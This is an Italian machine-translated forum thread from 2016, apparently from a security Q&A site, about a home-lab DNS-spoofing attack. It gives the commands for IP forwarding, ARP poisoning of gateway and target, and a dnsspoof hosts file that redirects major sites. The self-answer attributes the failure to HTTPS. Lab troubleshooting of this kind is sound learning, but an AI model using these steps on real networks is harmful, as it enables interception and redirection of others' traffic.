DnsSpoof La macchina target non si connetterà

0

SETUP:

Macchina target: VM sulla mia rete, su una macchina che è cablata al router

Casella Kali: Ho provato entrambi in una VM sulla stessa macchina del mio obiettivo e un avvio live su un laptop tramite Wi-Fi. Entrambi all'interno della stessa rete

IPS MACCHINA:

Target: 192.168.1.83

Gateway: 192.168.1.254

Address to redirect to: 162.226.5.161 (my blog)

Passaggi per spoofing dns:

  1. Imposta l'inoltro del traffico sulla mia casella kali

echo 1 > /proc/sys/net/ipv4/ip_forward

  1. arp avvelena il gateway

arp -i wlan0 -t 192.168.1.254 192.168.1.83

  1. arp avvelena il bersaglio

arp -i wlan0 -t 192.168.1.83 192.168.1.254

  1. crea un file host (usando la scheda tra l'indirizzo IP e l'URL)

cat > host

162.226.5.161 *.google.com

162.226.5.161 *.facebook.com

162.226.5.161 *.bing.com

  1. start dns spoof

dnsspoof -i wlan0 -f host

Risultati

Quando utilizzo NSLOOKUP per recuperare i record DNS per i miei siti di destinazione, viene restituito l'IP previsto di 162.226.5.161. Tuttavia, quando vai nei siti di destinazione nel browser, è appena scaduto.

Quandoilcomputerdidestinazionechiamaunodeisitididestinazione,possovederednsspoofcheregistrailtraffico.

IL PROBLEMA:

Come notato sopra, quando si naviga verso i siti di destinazione nel browser, la richiesta scade, anche se NSLOOKUP sta restituendo il corretto IP di reindirizzamento.

    
posta Anthony Russell 20.09.2016 - 02:44
fonte

1 risposta

0

Quindi la risposta era ovvia, suppongo, ma non so ancora come aggirare questo.

Quando il computer di destinazione richiedeva un sito come Facebook.com, lo faceva ovviamente su HTTPS. Il che, a mio avviso, significa che il sito è tornato ad accettare una connessione HTTPS.

Ciò significa che se desidero DNS Spoof e inoltro la macchina di destinazione su un sito diverso che (almeno per il momento fino a quando non capisco qualcosa) deve accettare lo stesso protocollo inizialmente richiesto.

Per testare questa teoria ho trovato un sito che consente connessioni HTTP (MSN.com) e io invece restituito il mio blog. Questo ha funzionato bene.

Risultati

Quindi la risposta breve al problema precedente era che stavo tentando di inoltrare la destinazione a una macchina che non supportava HTTPS, sebbene fosse quello per cui era la richiesta iniziale della macchina di destinazione.

Usando un sito che accettava le richieste HTTP, ero in grado di confermare che questo era il problema.

    
risposta data 20.09.2016 - 13:00
fonte

Leggi altre domande sui tag